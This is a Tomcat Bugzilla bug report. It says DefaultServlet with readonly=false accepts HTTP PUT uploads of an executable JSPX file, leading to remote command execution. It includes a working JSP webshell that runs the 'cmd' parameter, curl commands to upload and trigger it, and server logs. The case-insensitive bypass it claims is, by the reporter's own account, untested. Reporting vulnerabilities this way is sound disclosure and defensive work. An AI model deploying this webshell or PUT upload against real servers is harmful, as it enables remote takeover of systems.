https://bz.apache.org/bugzilla/show_bug.cgi?id=69842
Bug ID: 69842
Summary: Critical: DefaultServlet doPut allows uploading
executable JSP(X) to webroot when readonly=false — PUT
→ RCE (Patch-bypass risk on case-insensitive FS)
Product: Tomcat 10
Version: 10.1.46
Hardware: PC
Status: NEW
Severity: critical
Priority: P2
Component: Servlet
Assignee: [email protected]
Reporter: [email protected]
Target Milestone: ------
summary
A misconfiguration in Tomcat's DefaultServlet (configured with readonly=false)
allowed an HTTP PUT request to write a JSPX webshell into the webroot. The
uploaded JSPX was compiled and executed by Tomcat, allowing remote command
execution as the Tomcat process user. On case-insensitive filesystems
(Windows/NTFS) a previously-patched extension check that was case-sensitive can
be bypassed by using uppercase/lowercase variations (e.g., .JSPX vs .jspx),
enabling a patch-bypass style RCE.
Detailed findings
1) Root cause
DefaultServlet in the ROOT context accepted HTTP PUT (readonly=false) and wrote
user-supplied content to webapps/ROOT/. There was no enforced case-insensitive
extension validation before writing the file. Even where an extension check
exists that blocks .jspx (lowercase), a case-insensitive filesystem renders
.JSPX equivalent and thus allows bypass.
2) Environment & conditions
Tomcat version tested: Apache Tomcat/10.1.46 (local binary install).
Environment tested: Kali Linux (ext4 — case-sensitive FS).
— On Linux, the upload + execution succeeded (PUT created shell.JSPX and GET
executed it).
— The case-insensitive bypass behavior requires a case-insensitive FS (Windows
NTFS or similar), so full patch-bypass proof should be validated on such
environment.
3) PoC (reproducible steps executed)
Payload (saved as /home/kali/shell.JSPX):
```
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new
InputStreamReader(p.getInputStream()));
String line;
out.print("<pre>");
while ((line = br.readLine()) != null) { out.println(line); }
out.print("</pre>");
}
%>
```
Upload (worked, server returned 201 Created):
```
curl -v -X PUT --data-binary @/home/kali/shell.JSPX \
-H "Content-Type: application/octet-stream" \
http://127.0.0.1:8080/shell.JSPX
# Response: HTTP/1.1 201
```
Evidence on server (created file):
```
-rw-r----- 1 kali kali 441 Oct 6 02:10
/home/kali/tomcat-binary/webapps/ROOT/shell.JSPX
```
Execution (RCE test):
```
curl "http://127.0.0.1:8080/shell.JSPX?cmd=whoami"
# Output (example): <pre>kali</pre>
```
Server logs (startup / deploy excerpts):
Tomcat startup and deployment lines indicate the server accepted and deployed
webapps/ROOT without rejecting PUT writes. (Catalina log showed normal
deployment and http-nio-8080 started.)
Impact
Remote attacker who can send HTTP requests to the server can upload executable
content and run arbitrary commands as the Tomcat process user.
Full compromise of the web application and potential host if Tomcat runs with
elevated privileges.
If extension checks are case-sensitive and the underlying filesystem is
case-insensitive (Windows), an attacker can bypass the checks using alternate
case extensions (e.g., .JSPX), even if .jspx was blocked.
Remediation (Immediate & Long-term)
Immediate (Config)
Revert DefaultServlet to safe default: set readonly=true for the ROOT context
(or globally) if PUT is not required.
For ROOT: remove or edit ~/tomcat-binary/webapps/ROOT/WEB-INF/web.xml so
DefaultServlet readonly param is true, or delete the custom web.xml used for
testing.
Block HTTP PUT at network boundary (reverse proxy / firewall) for webroot
unless explicitly required.
Code-level (Permanent)
Make extension checks case-insensitive:
```
String lower = filename.toLowerCase(Locale.ROOT);
if (lower.endsWith(".jsp") || lower.endsWith(".jspx")) { reject(); }
```
Enforce upload destinations outside webroot and serve uploaded files via
controlled handlers (never place user-uploaded files in a path that is
compiled/executed).
Validate file content (MIME type, magic bytes) and apply whitelisting rather
than blacklisting.
Add automated tests (unit/integration) to check extension filtering across case
permutations and on case-insensitive mounts.
Verification (post-fix)
Attempt same PUT/GET PoC — upload must be rejected or file must not be
executable.
Run automated tests that try .JSPX, .jspx, .JsPx etc., and confirm rejection.
Review access logs and ensure no unexpected files remain in webroot.
Reproduction notes & caveats
The PoC executed on Kali Linux Tomcat (we observed file creation and
execution). On Linux the case-insensitive bypass notion does not apply because
ext4 is case-sensitive. To prove the patch-bypass behavior you must reproduce
on a case-insensitive filesystem (Windows/NTFS or a Windows-shared mount).
For a complete vendor/security advisory, recommend including test results from
both Linux and Windows environments and the exact code snippet (or commit)
where extension checking occurs.
Cleanup (recommended)
After testing, remove the uploaded shell and restore safe config:
rm -f ~/tomcat-binary/webapps/ROOT/shell.JSPX
rm -f ~/tomcat-binary/webapps/ROOT/WEB-INF/web.xml # if created for test
~/tomcat-binary/bin/shutdown.sh && sleep 1 && ~/tomcat-binary/bin/startup.sh
Appendix — Raw artifacts (from test session)
PUT result: HTTP/1.1 201 (Created)
File listing: -rw-r----- 1 kali kali 441 Oct 6 02:10
/home/kali/tomcat-binary/webapps/ROOT/shell.JSPX
Sample catalina.out lines: Tomcat 10.1.46 startup & deployment messages (shown
in logs during test).
## Evidence & Logs (directly from test session)
1) HTTP PUT response
```
* upload completely sent off: 441 bytes
< HTTP/1.1 201
< Content-Length: 0
< Date: Mon, 06 Oct 2025 06:10:48 GMT
```
(Indicates server returned 201 Created after PUT.)
2) File present on disk
```
-rw-r----- 1 kali kali 441 Oct 6 02:10
/home/kali/tomcat-binary/webapps/ROOT/shell.JSPX
```
3) Uploaded file content (excerpt)
```
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new
InputStreamReader(p.getInputStream()));
String line;
out.print("<pre>");
while ((line = br.readLine()) != null) {
out.println(line);
}
out.print("</pre>");
} else {
out.println("No cmd parameter provided.");
}
%>
```
4) Tomcat startup & deployment log excerpts (showing server start and ROOT
deploy)
```
06-Oct-2025 02:09:48.122 INFO ... Initializing ProtocolHandler
["http-nio-8080"]
06-Oct-2025 02:09:49.081 INFO ... Deploying web application directory
[/home/kali/tomcat-binary/webapps/ROOT]
06-Oct-2025 02:09:49.081 INFO ... Deployment of web application directory
[/home/kali/tomcat-binary/webapps/ROOT] has finished in [731] ms
06-Oct-2025 02:09:49.682 INFO ... Starting ProtocolHandler ["http-nio-8080"]
06-Oct-2025 02:09:49.739 INFO ... Server startup in [1539] milliseconds
```
--
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]